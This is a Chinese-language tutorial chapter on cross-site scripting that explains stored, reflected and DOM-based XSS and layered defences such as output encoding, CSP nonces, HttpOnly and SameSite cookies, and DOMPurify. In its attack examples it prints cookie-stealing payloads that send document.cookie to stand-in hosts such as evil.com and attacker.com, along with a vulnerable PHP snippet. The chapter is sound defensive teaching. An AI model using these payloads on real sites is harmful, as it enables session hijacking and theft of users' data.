Chapter 04

XSS 跨站脚本

理解三种 XSS 类型原理,掌握 CSP、HttpOnly、DOMPurify 多层防御体系

XSS 的本质

跨站脚本(Cross-Site Scripting,XSS)是指攻击者在网页中注入恶意 JavaScript 代码,当其他用户访问该页面时,浏览器在受害者的上下文中执行恶意脚本。XSS 是 OWASP Top 10(A03 注入类别)中最普遍的客户端漏洞,本质原因是:应用将不可信的用户数据原样输出到 HTML 页面,未进行正确的转义处理

三种 XSS 类型

1. 存储型 XSS(Stored XSS / Persistent XSS)

恶意脚本被持久化存储到服务器(数据库、文件等),每次用户访问含有该内容的页面时都会执行。危害最大,影响所有访问该页面的用户。

存储型 XSS 攻击流程: 攻击者 → 在评论框输入 <script>document.location='https://evil.com/?c='+document.cookie</script> 服务器 → 保存到数据库(未净化) 受害者 → 访问包含该评论的页面 浏览器 → 渲染 HTML,执行 script 标签内的 JS 结果 → 受害者的 Cookie 被发送到攻击者服务器
<!-- 攻击者在评论中提交的内容(存入数据库) -->
<script>
  // 窃取 Cookie 并发送到攻击者服务器
  new Image().src = 'https://attacker.com/steal?c='
    + encodeURIComponent(document.cookie);
</script>

<!-- 或者更隐蔽,用 img 标签 onerror 事件 -->
<img src="x" onerror="fetch('https://attacker.com/c?'+btoa(document.cookie))">

2. 反射型 XSS(Reflected XSS)

恶意脚本包含在 URL 参数中,服务器将其反射回 HTML 响应中。攻击者需要诱骗受害者点击含有恶意 payload 的链接。

<!-- 假设搜索页 URL:https://site.com/search?q=iPhone
     服务器代码(有漏洞的 PHP)-->
<p>搜索结果:<?php echo $_GET['q']; ?></p>

<!-- 攻击者构造的恶意 URL:
https://site.com/search?q=<script>alert(document.cookie)</script>

受害者点击后,页面渲染为:-->
<p>搜索结果:<script>alert(document.cookie)</script></p>

3. DOM 型 XSS(DOM-based XSS)

漏洞存在于客户端 JavaScript 中,服务器从不接触恶意数据。页面的 JavaScript 读取了 URL 中的不可信数据(如 location.hashdocument.referrer),并将其直接写入 DOM,从而触发 XSS。

// 有漏洞的客户端代码
const name = new URLSearchParams(window.location.search).get('name');
document.getElementById('greeting').innerHTML = '欢迎你,' + name;
// URL: /welcome?name=<img src=x onerror=alert(1)>
// innerHTML 直接写入 HTML → 触发 XSS

// 其他危险的 DOM 接收点(sink):
element.innerHTML = userInput;         // 危险
element.outerHTML = userInput;         // 危险
document.write(userInput);             // 危险
eval(userInput);                       // 极度危险
window.location.href = userInput;      // 危险(可 javascript:)

// 安全的替代方案:
element.textContent = userInput;       // 安全:只插入文本,不解析 HTML
element.setAttribute('data-x', userInput); // 安全:属性值不执行脚本

XSS 的危害

Cookie 窃取 / 会话劫持
读取 document.cookie 并发送到攻击者服务器。攻击者可以用窃取的 Session Cookie 直接以受害者身份登录(无需密码)。HttpOnly Cookie 可以阻止 JS 读取 Cookie。
账号接管
在受害者浏览器中发起"更改密码"、"更改邮箱"等敏感操作(受害者已登录,拥有权限)。可以绕过 CSRF 防御(因为 XSS 直接在同域执行,可以读取 CSRF Token)。
键盘记录 / 表单劫持
向受害者页面注入假冒的登录表单,或监听表单提交事件,窃取用户输入的密码、信用卡号等敏感信息。
网络蠕虫传播
存储型 XSS 脚本可以在受害者浏览器中自动执行"发帖"操作,将恶意载荷再次发布,感染看到该内容的其他用户,形成病毒式传播(Samy 蠕虫)。

历史案例:Samy 蠕虫(2005年)

2005年10月,一名19岁的程序员 Samy Kamkar 在 MySpace 个人主页中注入了一段 XSS 脚本。脚本在受害者浏览器中自动:① 将 Samy 添加为好友;② 将蠕虫代码复制到受害者自己的主页。结果在 20 小时内感染了 100 万个 MySpace 账号,是史上第一个大规模传播的 XSS 蠕虫。MySpace 被迫紧急关站修复。

防御一:HTML 实体编码(输出编码)

最基础的防御:将用户数据输出到 HTML 时,将特殊字符转换为 HTML 实体,使浏览器将其显示为文字而非解析为代码。

&&amp;
防止 HTML 实体注入
<&lt;
防止标签注入(最关键)
>&gt;
防止标签闭合注入
"&quot;
防止属性值注入(双引号属性)
'&#x27;
防止属性值注入(单引号属性)

好消息是:主流前端框架(React、Vue、Angular)默认对插值进行 HTML 转义,显著降低了反射型和存储型 XSS 的风险。但危险的方法(dangerouslySetInnerHTMLv-html)需要特别注意。

// React:默认安全
const Component = ({ userContent }) => (
  <div>{userContent}</div>  // 自动 HTML 转义,安全
);

// React:危险!dangerouslySetInnerHTML 不会转义
const DangerousComponent = ({ htmlContent }) => (
  <div dangerouslySetInnerHTML={{ __html: htmlContent }} />
  // 如果 htmlContent 含 <script>,会直接执行!
  // 只有在 htmlContent 经过 DOMPurify 净化后才安全
);

防御二:CSP(Content Security Policy)

CSP 是浏览器的 XSS 防御机制,通过 HTTP 响应头或 <meta> 标签告诉浏览器:当前页面允许加载哪些来源的资源。即使 XSS 注入成功,CSP 也能阻止内联脚本执行和恶意域名的资源加载。

# 严格的 CSP 配置(推荐基础)
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{随机值}';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self';
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';

# 各指令说明:
# default-src 'self'        → 默认只允许同源资源
# script-src 'nonce-xxx'    → 只执行带 nonce 属性的 script 标签
# object-src 'none'         → 禁止 Flash 等 plugin(高危)
# frame-ancestors 'none'    → 等同 X-Frame-Options: DENY,防止点击劫持
# base-uri 'self'           → 防止 <base> 标签注入改变相对 URL

Nonce 机制(严格 CSP 的核心)

import secrets
from flask import Flask, make_response

app = Flask(__name__)

@app.after_request
def add_csp(response):
    nonce = secrets.token_urlsafe(16)  # 每次请求生成新 nonce
    response.headers['Content-Security-Policy'] = (
        f"script-src 'self' 'nonce-{nonce}'; object-src 'none'"
    )
    # 将 nonce 传入模板,在 script 标签上使用
    response.set_cookie('csp_nonce', nonce, httponly=True)
    return response
<!-- HTML 模板中合法的 script 标签必须带 nonce -->
<script nonce="{{ csp_nonce }}">
  // 浏览器检查 nonce 与响应头匹配后才执行
  initApp();
</script>

<!-- 攻击者注入的脚本没有 nonce,CSP 会阻止执行 -->
<script>alert(document.cookie)</script>
<!-- 被 CSP 拦截,报告到 report-uri -->

防御三:HttpOnly 与 SameSite Cookie

# 完整的安全 Cookie 配置
Set-Cookie: sessionid=abc123;
  HttpOnly;          # JS 无法读取(document.cookie 看不到),防止 XSS 窃取
  Secure;            # 只通过 HTTPS 传输
  SameSite=Strict;   # 跨站请求不携带此 Cookie(最严格,防 CSRF)
  Path=/;
  Max-Age=3600
HttpOnly
阻止 JavaScript(包括 XSS 脚本)读取 Cookie。document.cookie API 看不到 HttpOnly Cookie。注意:它不能阻止 XSS 的其他危害(如发起 AJAX 请求),但有效阻止了最常见的 Cookie 窃取攻击。
SameSite=Strict
Cookie 只在同站请求中发送。从外部网站跳转到该网站时,浏览器不携带此 Cookie。最严格,但会影响从外部链接跳入后的登录态(如邮件中的链接跳入需要登录的页面)。
SameSite=Lax
安全顶级导航(用户点击链接跳转)携带 Cookie,但跨站 POST、iframe、img 等不携带。现代浏览器的默认值(若不指定 SameSite)。平衡了安全性和可用性,推荐作为会话 Cookie 的默认值。
SameSite=None; Secure
允许跨站请求携带 Cookie(需同时设置 Secure)。只有需要跨站使用的 Cookie(如第三方嵌入、SSO)才应使用此配置,一般业务 Cookie 不应使用。

防御四:DOMPurify 净化富文本

当业务需要展示用户输入的 HTML(如富文本编辑器、Markdown 渲染)时,不能简单转义(会破坏正常 HTML),而需要对 HTML 进行净化(Sanitize)——只保留安全的标签和属性,删除所有可能执行脚本的内容。DOMPurify 是目前最成熟的 HTML 净化库。

import DOMPurify from 'dompurify';

// 基础净化(移除所有危险内容,保留安全 HTML)
const dirty = '<p>正常文字</p><img src=x onerror=alert(1)><script>evil()</script>';
const clean = DOMPurify.sanitize(dirty);
// 结果:'<p>正常文字</p><img src="x">'
// <script> 被删除,onerror 属性被删除

// 只允许特定标签(更严格的白名单)
const strictClean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'li', 'a'],
  ALLOWED_ATTR: ['href', 'title'],
  FORCE_BODY: true
});

// 与 React 结合使用
const SafeHtml = ({ html }) => (
  <div
    dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }}
  />
);

// 服务端 Node.js(使用 jsdom 提供 DOM 环境)
const { JSDOM } = require('jsdom');
const { window } = new JSDOM('');
const DOMPurify = require('dompurify')(window);
const serverClean = DOMPurify.sanitize(userHtml);
自己造轮子净化 HTML 几乎必然失败

HTML 净化是极难正确实现的——浏览器解析 HTML 的规则极其复杂,黑名单过滤很容易被绕过(大小写混合、字符编码、注释嵌套、SVG/MathML 命名空间等)。永远不要自己写正则来过滤 HTML,使用 DOMPurify(前端)或 bleach(Python)等经过充分测试的专业净化库。

XSS 防御多层体系总结
本章小结

XSS 分三种类型:存储型(持久化,危害最大)、反射型(通过链接触发)、DOM 型(纯客户端)。防御体系分四层:① 输出编码(最基础);② CSP 限制脚本来源(深度防御);③ HttpOnly Cookie 防止 Session 窃取;④ DOMPurify 净化富文本。现代框架默认提供了良好的 XSS 防护,但开发者必须了解框架的安全边界(如避免 dangerouslySetInnerHTML、v-html 插入不可信内容),才能在使用便利功能时不引入漏洞。